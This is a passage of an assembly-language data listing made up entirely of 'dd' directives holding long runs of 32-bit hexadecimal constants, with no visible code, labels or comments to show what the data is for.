0E72D3742h, 0CA92715h, 7809CF0h dd 906A3EE9h, 6016F47Bh, 8F2AFE90h, 29E41FF0h, 0CF7649D7h dd 4ED5019Ah, 1175591Bh, 93D9881Ch, 10F41FCCh, 0C7FE18AAh dd 70EF8004h, 5BF83F0Dh, 41D0C427h, 79244ABEh, 68385210h dd 0D1186CA5h, 0C182D4EBh, 52328C40h, 0BDD4F125h, 0B96452Dh dd 83338368h, 47F5E59Ah, 17FE6ADAh, 0FA74562Dh, 0DDC26674h dd 555A02A0h, 8EAFC38Bh, 0FDD348AFh, 0C52F774Ch, 53C8B090h dd 802601B3h, 19E9F0F3h, 0DF352B6Eh, 2EE917D8h, 0EB1C8CAFh dd 5A688160h, 3FBC535Eh, 0C55558A2h, 0EBF9AF7Dh, 62E4C2AFh dd 0E2D054A6h, 0A05E0668h, 0E9C88269h, 1E89C430h, 527ACBEAh dd 77D80C2Ah, 35F2CEB9h, 3D41B75Bh, 1FBD107Eh, 0EBE5B47Fh dd 0FD16F302h, 6827E97Fh, 902EB58Ch, 0EC8B5933h, 0B33F499Eh dd 0A72994AAh, 11203DF8h, 68530B47h, 3B464F65h, 742FC12Fh dd 8ACB1686h, 4FA04E95h, 81E550D1h, 74B70030h, 0E9F531D9h dd 56924B36h, 2245417h, 0AF6F34ABh, 0DA467509h, 9A065CB8h dd 0B64A4A20h, 0E5278204h, 86C9570Fh, 20B9B6E0h, 0F06A1C25h dd 0FE7049Dh, 80565EA1h, 2945EFC1h, 0F8547290h, 0D0B788C6h dd 0CD385241h, 878BA17Dh, 0E9F07F2Dh, 2CBCB8DBh, 4A69DD82h dd 0F5506050h, 922909Ah, 0E0C8E94Ch, 9088B479h, 215D1276h dd 1E839D8h, 0C27BC631h, 5F485044h, 5495E68h, 0F26784C0h dd 0E1C84AE4h, 9C305C70h, 0DBB32554h, 4A5EF0E2h, 5307D7A6h dd 0D9675B52h, 4EE25A34h, 0B912824h, 1A5FAC32h, 0C142E0F6h dd 1BF42D1Eh, 7824658h, 0B02B4E40h, 7E28A3C4h, 0A500068Dh dd 4BF908DDh, 6EE1951h, 0BF914202h, 0E9FF4440h, 0AA16CB5Eh dd 351EB8A8h, 0C03813E0h, 0EFD608C2h, 0E383BC4Fh, 50A6D4D1h dd 0D492C943h, 3C8BAB08h, 0B151D360h, 2C12B6DBh, 0ECE30h dd 97BB5290h, 370EA976h, 41177888h, 3272A741h, 0B61317Ch dd 0B705860h, 416FB354h, 4A5F0180h, 0CFFA4B05h, 0AD50F67Bh dd 0BD884E8Dh, 542E1ECCh, 0EDA4BF3Fh, 0E389899Eh, 96CB5602h dd 56259AD9h, 42205E35h, 494AEA98h, 0DF401A45h, 0CEE44E5Dh dd 9FF34BC9h, 0EE452AC5h, 4481CC31h, 2A6FCD3Fh, 0D2FDE075h dd 0C055F869h, 4BD2E90Ah, 0A494D17Fh, 105D626Eh, 41FE5D6h dd 0C4074963h, 803BD5D1h, 0F6539C05h, 21F0D06h, 0E9130158h dd 13759ECEh, 3935E8C2h, 0EC4E4FF3h, 2D5A8030h, 5EF834A6h dd 2CDCC26Bh, 2ED4FDA9h, 0B72FE69h, 0AEF4375Bh, 2D365027h dd 0CBFE2ADEh, 29665549h, 0AB242490h, 56FA2C9h, 48B4F379h dd 50E5E248h, 80B4E43Eh, 0C7B6C968h, 0F8C1B365h, 0AF049A3Dh dd 13EB54F0h, 0BE0E3F76h, 61A73D12h, 1C5F0907h, 0F528F25Bh dd 3D45C68h, 5153492Fh, 0DB11095Eh, 872E8755h, 9D28DAFh dd 324DC02Bh, 78250EDAh, 9ABF621h, 9D597977h, 2E3CA88h dd 0F166858h, 35686557h, 0DE7A81F1h, 0EB8301FEh, 0EDA0C1F3h dd 68092B36h, 2E73530Ah, 9C047F4Bh, 810DC5B5h, 6EF1F565h dd 7810C4CAh, 0D3311DA0h, 0EF44A4FFh, 775484A0h, 0F3502893h dd 0C69D888Bh, 4FAEF240h, 0CB644185h, 20E63DF6h, 7507E35Dh dd 0C1526F23h, 2BB0665h, 0F7954C21h, 0E9866855h, 30EC49A6h dd 0A103E115h, 3BB50B76h, 0FFD86F13h, 8D98315Ah, 3ACA5801h dd 0E35D817Eh, 0A6E2AABCh, 0E4C7E893h, 73847FF8h, 0D7BFA943h dd 0E90A1DA2h, 0A4D4C82Fh, 569D09CDh, 138927D1h, 0E4A95ED9h dd 457BB418h, 2D595DC4h, 0A4D3F8F9h, 0AB4A394Ah, 0F24EA3A7h dd 8F5FC4F4h, 3A7C5B0Bh, 9AC115h, 0B551F828h, 0F87E2C26h dd 0F20E928Eh, 0BC18C341h, 72E1EA88h, 76010247h, 0B9BA0166h dd 0F9421D24h, 683B74E3h, 0A93CC61Dh, 966626FDh, 47BE57A5h dd 25F97A9Dh, 9F5E4C0Ch, 714A01C2h, 47A9AD6Ch, 97BB145Dh dd 0C19DC4D0h, 717594B1h, 0E5B0B17Eh, 30E564FAh, 925ED579h dd 90055809h, 4A295D38h, 0B011A847h, 0A85F4468h, 80BE96A0h dd 3E4CCE81h, 78062D1Bh, 0B91680BBh, 0DF57AA6Bh, 5BBF894Dh dd 887D3181h, 3078EE33h, 0EE655F59h, 133B27F6h, 0A3057534h dd 89C9448Bh, 0E1E5ACC7h, 5CD538FFh, 861E0848h, 0B7264227h dd 374256F3h, 0EB290201h, 4985F6Ch, 276CF695h, 0E941FD74h dd 0F3516C02h, 8B516AA8h, 0A800312h, 0B348C0B8h, 8F0B0556h dd 807FFB3Ah, 8D712FCAh, 2A3900Bh, 0EB676643h, 6940C801h dd 0FB254D27h, 83FEDC6Fh, 14CA73A0h, 590FB9B0h, 0D1858F4Eh dd 150924E8h, 0A2F60C16h, 0D223D702h, 0FC94805Fh, 280E9A20h dd 82B2D629h, 9EAD008h, 0C35C17B5h, 1D2C8275h, 89B8987Eh dd 0C644C0FEh, 0D2AC95D9h, 7EE5055Eh, 0A35FAEBAh, 0A182441Eh dd 0A77E4641h, 45334C8Ah, 779F2DA7h, 24AFD94Ah, 0BD3781CBh dd 77797657h, 7257ABFh dd 409C374Fh, 0D19FB5E9h, 7D414604h, 8AFB1001h, 84025A4Ch dd 2DCE0FE4h, 0E143CAFFh, 852BB16Ch, 0CACBEA1Eh, 332E6B4Ch dd 2A468E6h, 9B73BB2h, 4D16FC1h, 0EFF9C0FAh, 0A931776Ch dd 685F5826h, 0E79675C1h, 752AC537h, 0DE686EAh, 2936AFBFh dd 0A7C675B0h, 0E4479825h, 0BB5300C9h, 9D12848h, 0BC24AB9h dd 575BD929h, 17642E83h, 84D3C4C4h, 0B6081264h, 0E42D1262h dd 0AD1D88AEh, 0BA594040h, 0B48F97BEh, 0FCD1A749h, 342E143h dd 47BB052Dh, 4FDA3B8Dh, 6C7EE3A9h, 0D3806D13h, 5B66D82Ch dd 5B7BE85Ah, 0E982C3E9h, 20D57620h, 0B340302Fh, 0E1810E3Bh dd 2BE95DAFh, 6AA89A56h, 416B2616h, 0BA8B1EBFh, 5B3D217h dd 81CB01B4h, 0D4DFAC4h, 8CF89305h, 630BBA92h, 0B66332F3h dd 0AFC227EFh, 0F932E1E6h, 559510EBh, 3F67AC3h, 2DCF1AC8h dd 6CDFDAC0h, 43975695h, 16C9F581h, 0EF3A6019h, 511792B1h dd 0D0A77389h, 0A218F076h, 2D840F10h, 359A3EEh, 0A5AF5544h dd 0B8A23AFBh, 0BA0F54A7h, 3DAA5913h, 0B394ECC3h, 14346B9h dd 4CE409D8h, 4DF86F3Fh, 11304B0Bh, 7DE24255h, 79F0A3C8h dd 1C0FC69Fh, 83B8311Dh, 799672Dh, 8604BBD5h, 30BF5893h dd 267EE7DAh, 4141294Ch, 3872F806h, 6863CFAAh, 5E80858Ah dd 26D454AAh, 5B39EDB8h, 1481397h, 0CBE9A993h, 0B82C00C3h dd 7E6F70D2h, 0D373F793h, 13D70534h, 2D549D08h, 5B29457Ch dd 67925A17h, 0C0C0A6F9h, 0CF801CE4h, 0AF7C271h, 95E0F830h dd 5E81E346h, 0AB1DC53Fh, 8BD56CD7h, 355D4690h, 0B51E0771h dd 0D4C60976h, 0BB4BB9Eh, 846C7091h, 0B19E61BFh, 0D8CF756Fh dd 3E53E20Ch, 0CF274FF8h, 0C2949AD4h, 979F92A2h, 4AD8AD3Eh dd 6266EA05h, 62369FA4h, 5EF11DEBh, 2712655Dh, 0B64D0700h dd 8C5EE962h, 6DBA43C5h, 0DEA3A58Ch, 56E9782Fh, 685245C0h dd 5176E0h, 81425A29h, 64357FCAh, 0E2040E76h, 385F77BEh dd 88465AC0h, 89D716AAh, 5E0BF3D0h, 4C161CECh, 0A2DBA8B6h dd 0C756EA37h, 7E550B46h, 5424B744h, 1908335Dh, 4F6124Bh dd 12E8BADFh, 0BE48CAE8h, 54909Dh, 0BA503A68h, 9355859h dd 0A645AFC5h, 120827Fh, 0A21140DDh, 25759396h, 98BEE754h dd 0C2B3C108h, 0E4B93C2Eh, 63E82FFBh, 2654F95Eh, 85330AE9h dd 0B55F295Ah, 0C7297E22h, 0B15FAC2Eh, 5C0287F6h, 2DF21657h dd 74195EEBh, 53227A89h, 2749C454h, 0AA447AEDh, 851B2F9Fh dd 8F41AE4Dh, 10B43875h, 0BCDC802Ah, 121E7843h, 2954F389h dd 966C12B0h, 0E802628h, 0E728E4EFh, 58ABC7AEh, 299D3586h dd 0EAA2F705h, 0C4FE37A3h, 0CB83EBC6h, 5281179Fh, 6F944057h dd 0D1F70971h, 0E683A1BEh, 44299B0Ah, 4C30F2E0h, 7497A5C8h dd 0A530FEACh, 9C62DDE9h, 70CC89DFh, 703D2673h, 5BD6F5D8h dd 0F8C54B09h, 3E0A0062h, 0EB812350h, 0D1F09795h, 4DDD3124h dd 87B2CF3Eh, 0D92684h, 0C0FE610Ch, 0A015B82Ch, 97915B70h dd 81B2889Ah, 59276F9Ch, 1BBE64Bh, 14ED52B7h, 227517E9h dd 4AC6C0E0h, 4BE7F532h, 2D7E489h, 8E01C890h, 552FE133h dd 554101BDh, 478149A0h, 0A75B3BF6h, 56840016h, 0D7184CE8h dd 0F7484D4Fh, 0FD296184h, 0EC8233Ch, 77416851h, 91D139FFh dd 0F5005464h, 30CA2B95h, 235BDF68h, 450AA930h, 0E9060921h dd 105255E5h, 6C51FE0Ch, 17ECC231h, 0B045BC3Fh, 0E0500255h dd 0B54BDE84h, 18F6F688h, 0C52311Eh, 9D0FA20Dh, 0F3CA897Dh dd 0E84AC2F8h, 3E16019Dh, 0DE9679Fh, 0F0530BFAh, 0C0514E2Fh dd 0A8054863h, 8A6B80BFh, 0ECAB7784h, 0EB965B05h, 12A53721h dd 6980EB03h, 9BB8B70Fh, 6B4CFB28h, 6548931Fh, 5840924Eh dd 265F74DCh, 9E420B5h, 9CF5CD2Eh, 0EBD997ACh, 8BFC1A34h dd 43B308E5h, 0EE51550Ch, 52251CB9h, 4C75C015h, 0E0D139CEh dd 0A0E487Bh, 20054963h, 549F5137h, 0A6D1BD89h, 246C2904h dd 0F7B867C2h, 4495E8C6h, 80744024h, 1BBEC23Ch, 8410F8D7h dd 4170B7B4h, 357283Bh, 0DF5CC1E6h, 0C004EF1Fh, 85A127FAh dd 7E5EB9CBh, 0ECF5B627h, 9EC3273Bh, 965DCD9Ah, 43EB430Eh dd 35E90B90h, 0BC790C3h, 7CF99553h, 7A39EBEFh, 0F3F606B6h dd 0C375244h, 0C157A38h, 0D4F72971h, 0DF9FCBA5h, 4E314687h dd 0E4A5FB4Fh, 57128C8Dh, 0B65648h, 66B152ADh, 2EDBE0BEh dd 18F086Dh, 140F2C2Ah, 0B842DA01h, 0AF5D0804h, 0EF835607h dd 0EE2E7FE9h, 0B14A3CC7h, 2C18E921h, 0E2D11DC1h, 9EB7713h dd 0EE5963D4h, 568A63AEh, 0DC4BEDBEh, 4481421Ch, 0FEF1B0D5h dd 0A76897D0h, 0FF826F4Bh, 2F5C2199h, 15FD7B95h, 0F35E241h dd 317A77EDh, 6F45235Fh, 416376CCh, 7B916BF7h, 57009B92h dd 73138E68h, 1AB0B8Ch, 122D62C4h, 0D7AE203Dh, 22010C12h dd 59868E02h, 0F26360F1h, 7E0EEE70h, 2DD74CE4h, 0CE007122h dd 1EF80DDDh, 9D06E6C1h, 238E2581h, 49817B7Ch, 0E77D9FAFh dd 5A6A1215h, 0F25A3348h, 0EE642FD7h, 1E927C5h, 0B7B69F70h dd 91FC240h, 0C99A20Dh, 98B61EEFh, 4EE6580Eh, 5C0D23Bh dd 0AC739100h, 433E2D2Ch, 27767F7Dh, 7919B531h, 8581E856h dd 0B9D4B8B7h, 61350E09h, 132496Ah, 343A21E6h, 7A74236h dd 35CCE0F5h, 0ADDE179Bh, 58A2050Dh, 9221AF05h, 401CF62h dd 2CD8C0B7h, 0F876ECE9h, 0A3C22AB4h, 835E0B7Ch, 14DDC64Dh dd 5925E67Ch, 91529744h, 35437DFEh, 0D380B94Eh, 0D0C2B30Fh dd 325B0502h, 0EDC87021h, 627A0340h, 3B94BF0Eh, 20A136BBh dd 0DC05A43Fh, 33FF3810h, 7060833h, 0C764F0E7h, 0E91A0574h dd 0DF5AA8E6h, 6AC67412h, 9D4C3820h, 0E905D24Dh, 91BD8B67h dd 4A4BAFD7h, 6616E1C8h, 68985B69h, 0FE37EDB6h, 743B66CEh dd 616861E0h, 9018794Fh, 79070688h, 75C03550h, 16D03744h dd 482770E4h, 0CF128768h, 1CAFBBE9h, 55012951h, 4A2D3C80h dd 0C463EB06h, 3800D08h, 0E149F3BBh, 108C90ABh, 89080571h dd 0CD18F563h, 400818E0h, 0BA61824h, 4C3608C4h, 476E804h dd 0BE0478DDh, 349E048Eh, 481A004h, 29062363h, 7D3150EFh dd 7A2F08E8h, 0F73D1888h, 8AD9008h, 270C6A92h, 63A3083Ch dd 81A218F0h, 21070831h, 750147FEh, 3A5B015Eh, 0E064109Fh dd 31205A20h, 0EA081828h, 9D1888A3h, 6DBA0821h, 0C3F91B18h dd 302E80D6h, 0FFEF10C4h, 413AE04h, 3204D840h, 0C9CE040Ah dd 8FA7F06h, 29200EA3h, 86F920FCh, 803CC31h, 8E03625Bh dd 0C6E1F110h, 0C1293731h, 4D820187h, 1543F01h, 1088394Bh dd 552CBC5Fh, 76F11031h, 95BAA101h, 18D00408h, 5104D98h dd 0CEA08009h, 0D1883881h, 0FE08316Eh, 32E90850h, 884430Ch dd 189E65DCh, 2CAC466Ch, 0E22008E4h, 7E8420F1h, 31615620h dd 0C738177Fh, 40F5017Ch, 1A4E108Ch, 41405A08h, 20E66376h dd 819CA42h, 9A184FCCh, 40830424h, 9D406593h, 0C35940D9h dd 6F2F21C4h, 105B5F06h, 0F0F59051h, 8C43E01h, 0CE047192h dd 448C0434h, 61356E06h, 0AB0888EBh, 0DA640C33h, 0B9C868D9h dd 69E40C7Bh, 5F625010h, 7F6EC08h, 720CCCBh, 9409576Ah dd 19947588h, 24D8496Ch, 10929F70h, 3054E137h, 0C588C82Ah dd 0FCBD08D4h, 8900108h, 0B7099752h, 0DE0C26BEh, 63033308h dd 28321661h, 0A2953919h, 4B749F88h, 295910D4h, 82131065h dd 0C03BB115h, 6EE08078h, 80377180h, 10C6DB31h, 6A08FB21h dd 22F0AC5Eh, 80704994h dd 109A0110h, 35188F7Ah, 0C1580873h, 67C218C4h, 1BF0B90Eh dd 182991D3h, 102E3AD9h, 8C68BF7h, 621885F3h, 4C6A49FAh dd 6795602h, 482099BAh, 0DFF20BBh, 2CB46654h, 131099FBh dd 40244639h, 90CB54D6h, 3909D8F2h, 0B58055FCh, 341B816Eh dd 19C6298Ch, 0A8991405h, 269C6068h, 49A4E8FCh, 0C9EF4281h dd 8B2E9648h, 0E1183FE8h, 473B1045h, 2752C03h, 1B8913EBh dd 3DA7B90Eh, 1100AFD5h, 0B49408Fh, 847551C9h, 0A0C7E561h dd 4BF003DEh, 33E847B9h, 0B10F80C0h, 2CC1304Fh, 38EDE9ACh dd 0A7BA2281h, 701E400Ah, 33C97ABh, 0B5E45BDFh, 5C12B885h dd 0A3016E3Bh, 0E972431Eh, 0D1887430h, 0C5D3519Fh, 18CFAA01h dd 2FF16824h, 3403B7Ah, 1D71975Dh, 9221642h, 6C909580h dd 4F5F3AA7h, 127879ACh, 0FE33361Bh, 0BC954C04h, 76D40500h dd 85F42DBFh, 0BB143F60h, 7AFC0F43h, 0B3E2202Ah, 8C40F99Dh dd 0BFAC2546h, 9953560Eh, 86FAEF2Eh, 972CC923h, 0C0756FC2h dd 0BE3C2F0h, 5B569C68h, 0E9064574h, 0B05561F0h, 64CAF073h dd 0C3AE7945h, 0DDE07222h, 0C0B5215Bh, 9024CBEBh, 0C1593CC2h dd 0E31F61DCh, 30C30105h, 2B6D6411h, 2DE96BF0h, 90F9872Ch dd 6454578Fh, 7FED26D2h, 0A31B2907h, 4190B248h, 0DA66D0D6h dd 7393B297h, 6F9DF4D1h, 0FEE9EA30h, 329D7070h, 11CAC1D5h dd 0ECC75D87h, 0B22BF70Eh, 6802A34Bh, 0F5CCFF31h, 534E1C01h dd 21D1E962h, 0E1C85CB7h, 0ECD7DB65h, 51C06BFBh, 0C83625E6h dd 0EB01B740h, 6A3A5256h, 0F63D6CB1h, 0CD80EB92h, 0A9A4E958h dd 21D85CCEh, 0A0E895D0h, 0F7806608h, 0AE4760DFh, 1F651ABBh dd 8240B2FCh, 8EB90451h, 0B9336B55h, 34D20771h, 0D18740E8h dd 0BC1AE975h, 591D41E0h, 0BF4775E0h, 2D1D87E4h, 6B1D21B3h dd 0C302F45h, 0A305F1F0h, 1112AD07h, 502CC9CAh, 0C603984h dd 2C1835Ah, 0C22072CAh, 800B3C91h, 77F332EBh, 0BAC3023Dh dd 5E2E6AE9h, 0B0CB87E4h, 4477A331h, 0D8284207h, 7493EE2Ch dd 4B26735Bh, 0B10AAC57h, 0B80559C0h, 389863C4h, 0A0445F42h dd 0E706C127h, 8B221F09h, 13EE2033h, 8835040Ah, 0FABC4EC6h dd 0F0282F0Eh, 8FAE922Ch, 0B2186153h, 3250D2h, 0F644B3C6h dd 0DC88A613h, 8133FA3h, 0F93BA5E2h, 29D7A797h, 3BC774BEh dd 76BABDE0h, 717AFE09h, 143AA034h, 2CBCA4BBh, 5AFF3618h dd 2782620Ch, 5588E88h, 0F997687Fh, 7B25BD91h, 94A50476h dd 534604FEh, 0EAAA1FE9h, 0F27F0ADDh, 0EFACD629h, 165709A5h dd 7D5E6329h, 0D42CB909h, 0FD35E20Ah, 0BB2B00Ch, 29426820h dd 88140F8h, 3D752E5Ah, 739CB701h, 8C791B2Fh, 0FAA92785h dd 207D4FCBh, 5C5E0AE8h, 0D4C999ACh, 555E77ABh, 0C0FCE578h dd 2DD9EBA1h, 0B19052BCh, 9121D81Dh, 0CEC82997h, 0AE424A08h dd 0BF48E72Bh, 39DA5F25h, 63A09EC6h, 0A9EE042Dh, 0F57A8D7Dh dd 0E9080185h, 3F822509h, 1DB84BC4h, 42E1BEC7h, 0D15D260Bh dd 97E4A759h, 0C9E9F33Eh, 92C4899h, 1001128Bh, 2EB85097h dd 0DA3CA0h, 9E728E25h, 0D53B350Ch, 0B24A73Fh, 605AF0AFh dd 61F1AB16h, 30133B2Bh, 69FEC821h, 0A806149Ch, 1BA41397h dd 0CF039A52h, 443E507h, 192D7F0Ch, 0A96CC012h, 6E5B952Eh dd 0E2042EB9h, 0BAAE2BA2h, 0B6BC1E17h, 0ACFC502Dh, 0E914F84Eh dd 0DA34FB17h, 0E81B4111h, 0AC480ADh, 0F5F8D6F6h, 709D4872h dd 3E799410h, 0DF1E5E89h, 63C881D8h, 950DB836h, 71228200h dd 0A6C10E90h, 48D50E8h, 82A6B12Fh, 57F54ACh, 0C9CF201Ch dd 7060C473h, 2BBE781Ch, 0B831674Fh, 1468215Bh, 0B276354h dd 5C38428Fh, 48A4C26Eh, 35354DD5h, 7660AA20h, 9A012FBDh dd 0F88980E0h, 0F8734A2Ch, 2FC83B8Ch, 0C004FEA6h, 881BB652h dd 9AD7439Fh, 1AA5C18Dh, 0F717617Ah, 9E663D2Ch, 0B0073089h dd 0D435DD22h, 33008A7Ah, 81617F67h, 6D7A7EE1h, 0C6E91B0Ch dd 772C32DAh, 0C33A2D6Ch, 0F2A0E35Ah, 8B284BFFh, 83FEB41Fh dd 504E1060h, 7C2823B0h, 0F9884AC2h, 545613EDh, 0CBB791ACh dd 0BF279304h, 58ECAE8Ch, 52C006E2h, 15076FBAh, 0E9FC144Bh dd 782E0E00h, 62BBD55h, 5C100425h, 52761CDEh, 171CAA1Ah dd 5751EAC0h, 125B4D68h, 95F7792h, 0EE55231Bh, 7AA2B41Fh dd 465EE07Fh, 345C8274h, 0D4B6E00Bh, 630A8183h, 0E835411Ah dd 27B8DA58h, 595FC775h, 20B25CFCh, 11F0D4CCh, 60E1324Dh dd 8D4503CAh, 0E7C981Fh, 41DF7273h, 0C357E5C5h, 0F5E03F74h dd 0BA7C46B5h, 0D6A8E915h, 0A8F326C5h, 0CC3EEB01h, 0B09F5E77h dd 0C2662719h, 32D6FDA0h, 16E573BDh, 0BCACD42Dh, 0C63503CEh dd 0B772FA71h, 0ADC27590h, 0EC569721h, 41F6023Eh, 7D5953DFh dd 0F301DE94h, 386203A5h, 347A7A68h, 89C112CDh, 46C1011Eh dd 5884852Ch, 2675DE28h, 84B9F15Fh, 12D6851h, 9B7978Ch dd 0A49FE93Bh, 8BD58CA5h, 8BE04FE7h, 1C984DB0h, 0F580DD00h dd 50C5FE84h, 16BFB42Eh, 0D6FD0E14h, 14084709h, 0D231240Bh dd 2103134Eh, 80149FBBh, 552DE863h, 0B22B224Ah, 3051B06Eh dd 0EF479644h, 183D2A6Bh, 6F40A405h, 6297B881h, 65EC353Dh dd 87595023h, 0B09485Ah, 7D6DEED3h, 0BB53E880h, 68330F44h dd 37F0E92Eh, 927F48B1h, 2F69DACh, 62E42E25h, 25BA4C57h dd 0EA71C775h, 5E277924h, 892B520Ch, 877D1D72h, 0A0614C9Dh dd 6083056h, 97E935F7h, 0B5F452D7h, 67F27207h, 9AC2CD29h dd 5ADC8028h, 91598268h, 0B712BF08h, 908462D2h, 4ADF184Ah dd 239CFDF8h, 9B95949h, 0F273DA60h, 0D2FC0727h, 9901039Eh dd 0C4E0AFFh, 0DB6A4799h, 8B3059FAh, 0B3D584EAh, 59B2E7A8h dd 9CAE561Ah, 2610C945h, 62EAC17Fh, 8606BE2Ch, 8D0F6C7h dd 0A67DD89Dh, 9228506Bh, 1CB5A68Ah, 0C230C780h, 0FD882AF7h dd 0C0811751h, 0D5F608E5h, 24684820h, 0C770199Ah, 0D0CFC17Ah dd 36882EFh, 8109F4E9h, 0DD2966A6h, 861160CEh, 0EBC6CF79h dd 0F3145D6Ch, 8C6CC83Fh, 2C2B102Dh, 16577FD8h, 0B236EEBFh dd 0B5882CC2h, 320D1009h, 7FB5003Bh, 0FE20B148h, 89445279h dd 9713541Fh, 0FB600B07h, 0E5C4AED7h, 32E248EFh, 89D1FD5Eh dd 0DB61DDB5h, 0F5AD2B0Ch, 647FB7A2h, 67DB774Eh, 0FB7D9CD5h dd 0D359EBB8h, 0FBD6A295h, 0AEBB00F7h, 0CC7A3AC0h, 0E07E25EBh dd 2C3D08E0h, 5DB1197Dh, 0C83E3485h, 14507A09h, 9D1C35A6h dd 13FD0A88h, 0D990C4CFh, 4B27268Eh, 8E92515h, 5A161C02h dd 31816BA2h, 3F4FE9C3h, 5D2C9FD2h, 86491F4Dh, 4A632778h dd 0E00BFC55h, 917A0168h, 0D510BCA3h, 184A4C28h, 0ED5D8FCBh dd 97140961h, 0C405017Fh, 58FB4E42h, 0E37D91C4h, 89F83F84h dd 0E4514434h, 0DB0C9F7Ch, 3A080F12h, 2831390Bh, 0B646A1B8h dd 7F077A5h, 8944C93Ah, 5AD331h, 0BD72AB41h, 36CA9F15h dd 0EAEB715Fh, 1E3A00E6h, 0F3E93325h, 8928C49Ch, 0A75FE197h dd 0B5EEE2ECh, 7BC37F49h, 58172BDBh, 0A2AE4491h, 85CBBE2Dh dd 5A4DE909h, 107FE4ABh, 97F6D596h, 65043A96h, 567A2520h dd 0F2C128A0h, 0E9060C9Ah, 0BA269D54h, 8D07580Ah, 0A0058549h dd 0C504F647h, 5E0BE32Dh, 590C7B71h, 437A9FDEh, 137B506Bh dd 401E0E0Bh, 5A15F31h, 2A0102DEh, 2A87E620h, 254A7DE1h dd 47735C50h, 696D4202h, 1B60091Fh, 963B92C2h, 89EE3BE0h dd 92A7B43h, 5C632BE8h, 317FE9A4h, 87524E86h, 1E66C066h dd 0BBCBD2F3h, 33A74089h dd 2BC00342h, 129FF856h, 0BABB61D7h, 4CD410A7h, 35C384CFh dd 0CBDB000h, 0C04EFE63h, 1BF966C7h, 584ED8BFh, 0E7DCC147h dd 424BEE56h, 503A5A0h, 4E43C0ABh, 2DF02801h, 0AA48007h dd 975BFE21h, 0E9174ADAh, 76AB20DCh, 5F128C63h, 0DDB0EFC1h dd 4F18C04Eh, 2B87E781h, 427AF3Bh, 3656EAF7h, 75EFE580h dd 348027CDh, 6BE7B070h, 0B6EE6894h, 3DEB93BEh, 0F9996EF5h dd 9F02E9F4h, 0C4977794h, 0F6D8826Ah, 2F7069AAh, 973DF0DCh dd 4FB4720h, 88066BEFh, 645A915Eh, 0C4F69BC0h, 76522D4Eh dd 75E9DF76h, 1A18C263h, 0DBE802B6h, 6BCA2D44h, 6A776C1Bh dd 51C73612h, 7DED2F00h, 90455F9Bh, 7CCA38E0h, 48FC0D25h dd 54CF8798h, 0EB344E8Bh, 0C321BC3Dh, 912FC435h, 6FF7A61Eh dd 8954368Ah, 0DF192CCAh, 0B35C1768h, 720C4174h, 61F9420h dd 55A771C2h, 2B5F0CA8h, 8533563h, 5E5BA209h, 1FBAFD49h dd 328B0C09h, 1CF7E242h, 0F4BA20C6h, 0BD27498h, 0FCE1A892h dd 4BA0BF6h, 2640BE77h, 0D8DDF7h, 0DF1C5973h, 1D4AC5E9h dd 0C6D38C1Ch, 62B22CFEh, 24ACD94Fh, 0E4D76980h, 7926E505h dd 0F0B3F0Ah, 59A8103Dh, 29DE4C29h, 0D0AC2C16h, 2219D82Eh dd 0CA4A1F7Eh, 35E6400Dh, 4B855440h, 522B58B1h, 585F5204h dd 621C9977h, 0AE513CA4h, 4163AC01h, 0C2A90D9Bh, 0F0355958h dd 83AB398Ch, 2E0C68E0h, 80565197h, 73F60BAh, 0C258E974h dd 0A1EF802Ch, 9F517861h, 2830F94Eh, 0D9F77633h, 0DC30F183h dd 1C880EE1h, 0C1C015D2h, 55A249A3h, 10485148h, 0B05E7536h dd 3F4EDF44h, 6784C9B2h, 6A8CEBECh, 697976E0h, 0FF822177h dd 0E9D19CF7h, 0DA465EACh, 8E6813CFh, 78E88C7Ch, 0C9202D41h dd 699B0FEDh, 0C862FBBh, 0C4BD28F6h, 0F3952057h, 7BF7BE02h dd 414E1361h, 77D8FB95h, 1BE91059h, 39803B8Ch, 3AC19CF4h dd 748D91Fh, 0BE560082h, 0B2B70B21h, 0AB41AD90h, 30FFA52Ah dd 4EB953D9h, 0D38F9A0h, 7995703Bh, 1794A8F7h, 0A1E414Eh dd 41C79E9Eh, 0E95422EEh, 0E6AE3058h, 0BBC0E6B1h, 9942864h dd 7EBC168h, 2813250Bh, 1306E3CBh, 0BC4BE49Dh, 4FE009E0h dd 510D28D0h, 0E9080064h, 3CCE3116h, 7532C4ACh, 20445C88h dd 0CB329B36h, 347FE59h, 0B7BAD731h, 32819ACAh, 8B3D6237h dd 26174F24h, 20F8E5A5h, 0B72E025Ah, 0B30E33A6h, 7CD80B73h dd 0F73B423Ch, 31A6C00Bh, 0E0F58271h, 0DF392F13h, 0C706568Fh dd 0AFB4B416h, 63FBB8E4h, 76B5168Bh, 5043BBE9h, 0C8CAF5A2h dd 95BC623Dh, 758E3DC6h, 45EE8012h, 5D0D5504h, 60D8F707h dd 39980EAFh, 0E46076F8h, 3592C645h, 31232778h, 0B131274h dd 0C95A174Eh, 57242B8Ah, 5FFDD7B0h, 1539D39Fh, 0D35E9BE7h dd 0D358C58Bh, 80400AB9h, 8609BCE7h, 0E69C57F9h, 37685307h dd 9649406Fh, 6FF86BCh, 13C06D7h, 0F50B9250h, 407C6D5Dh dd 16C321FFh, 0AA7F7EE9h, 0FACD1C28h, 8B675FA2h, 1ABC5221h dd 2F82EC3h, 0FA13CEE9h, 89D204FDh, 0EE2915A0h, 0AD4E1CE3h dd 0D1E077F2h, 0D555026h, 88662017h, 0FDE5B7CCh, 844C59A7h dd 0AA010660h, 0E868E620h, 0C894BF3Bh, 26A58B77h, 206D6805h dd 0B04BA1E3h, 0D169F9Ah, 2CB86460h, 0C02E2CD6h, 4FFE9086h dd 4B7CB3F4h, 27468E00h, 9053AD7h, 4E53041Dh, 801D0575h dd 0EB60F3A1h, 52E56830h, 69415ADFh, 0BA062BBh, 8307746Dh dd 0B120E223h, 0B17F0541h, 0CEF26113h, 470B8208h, 0AFEB591Dh dd 0B94333D6h, 38F6F994h, 5873E27Ah, 425D05AEh, 0C3C34B08h dd 0FC6C0404h, 0AC035675h, 29CA00DDh, 0E969C272h, 39C76F1Ah dd 0A6522001h, 0D6FCEC19h, 92D151B5h, 122DF88Dh, 0C6BC3C33h dd 2A7048A1h, 0E442C31h, 0CD81C08Eh, 6D3F56C2h, 4817D460h dd 0CC27C52Ch, 0EBF0E906h, 94C29DE5h, 86749EDDh, 5C1ABF37h dd 0C468E101h, 5C8C7F13h, 1BEF595Bh, 0B91F3404h, 0EBACC12Bh dd 0DFD53006h, 3BCF3180h, 25FA8759h, 8F202A4Eh, 70337928h dd 86A04F64h, 0BE8847C8h, 0C8310E06h, 0C28DD04Eh, 0DDBC3B08h dd 